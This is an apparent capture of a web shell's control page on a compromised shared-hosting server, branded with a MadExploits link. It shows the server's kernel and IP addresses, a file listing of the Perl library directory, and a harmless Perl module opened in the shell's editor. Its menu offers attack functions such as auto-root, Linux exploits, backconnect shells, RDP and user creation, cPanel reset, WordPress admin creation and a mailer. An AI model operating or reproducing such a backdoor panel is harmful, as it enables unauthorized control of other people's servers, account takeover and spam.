Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
Attribute
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
CPAN
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Compress
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
DBM_Filter
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
ExtUtils
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Memoize
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Pod
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
encoding
[ DIR ]
drwxr-xr-x
overload
[ DIR ]
drwxr-xr-x
pod
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
vendor_perl
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.56
KB
-rw-r--r--
AutoLoader.pm
15.43
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
30.3
KB
-rw-r--r--
CORE.pod
3.11
KB
-rw-r--r--
DB.pm
18.48
KB
-rw-r--r--
DBM_Filter.pm
14.05
KB
-rw-r--r--
DirHandle.pm
1.52
KB
-rw-r--r--
Dumpvalue.pm
17.14
KB
-rw-r--r--
English.pm
4.65
KB
-rw-r--r--
FileCache.pm
5.44
KB
-rw-r--r--
FileHandle.pm
6.63
KB
-rw-r--r--
FindBin.pm
4.45
KB
-rw-r--r--
Internals.pod
2.52
KB
-rw-r--r--
Memoize.pm
35.34
KB
-rw-r--r--
NEXT.pm
18.4
KB
-rw-r--r--
PerlIO.pm
10.21
KB
-rw-r--r--
Safe.pm
24.49
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
17.28
KB
-rw-r--r--
Symbol.pm
4.69
KB
-rw-r--r--
Test.pm
29.35
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.44
KB
-rw-r--r--
URI.pm
33.97
KB
-rw-r--r--
XSLoader.pm
11
KB
-rw-r--r--
_charnames.pm
32.39
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
10.72
KB
-rw-r--r--
blib.pm
2.04
KB
-rw-r--r--
bytes.pm
3.67
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
charnames.pm
20.38
KB
-rw-r--r--
deprecate.pm
3.01
KB
-rw-r--r--
diagnostics.pm
18.59
KB
-rw-r--r--
dumpvar.pl
15.19
KB
-rw-r--r--
feature.pm
16.68
KB
-rw-r--r--
fields.pm
9.27
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
if.pm
3.26
KB
-rw-r--r--
integer.pm
3.18
KB
-rw-r--r--
less.pm
3.13
KB
-rw-r--r--
locale.pm
4.74
KB
-rw-r--r--
meta_notation.pm
2.07
KB
-rw-r--r--
open.pm
7.83
KB
-rw-r--r--
overload.pm
52.06
KB
-rw-r--r--
overloading.pm
1.77
KB
-rw-r--r--
perl5db.pl
309
KB
-rw-r--r--
sigtrap.pm
7.43
KB
-rw-r--r--
sort.pm
5.94
KB
-rw-r--r--
strict.pm
4.63
KB
-rw-r--r--
subs.pm
848
B
-rw-r--r--
utf8.pm
8.9
KB
-rw-r--r--
utf8_heavy.pl
30.87
KB
-rw-r--r--
vars.pm
2.36
KB
-rw-r--r--
vmsish.pm
4.21
KB
-rw-r--r--
warnings.pm
43.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SelectSaver.pm
package SelectSaver; our $VERSION = '1.02'; =head1 NAME SelectSaver - save and restore selected file handle =head1 SYNOPSIS use SelectSaver; { my $saver = SelectSaver->new(FILEHANDLE); # FILEHANDLE is selected } # previous handle is selected { my $saver = SelectSaver->new; # new handle may be selected, or not } # previous handle is selected =head1 DESCRIPTION A C<SelectSaver> object contains a reference to the file handle that was selected when it was created. If its C<new> method gets an extra parameter, then that parameter is selected; otherwise, the selected file handle remains unchanged. When a C<SelectSaver> is destroyed, it re-selects the file handle that was selected when it was created. =cut require 5.000; use Carp; use Symbol; sub new { @_ >= 1 && @_ <= 2 or croak 'usage: SelectSaver->new( [FILEHANDLE] )'; my $fh = select; my $self = bless \$fh, $_[0]; select qualify($_[1], caller) if @_ > 1; $self; } sub DESTROY { my $self = $_[0]; select $$self; } 1;
Close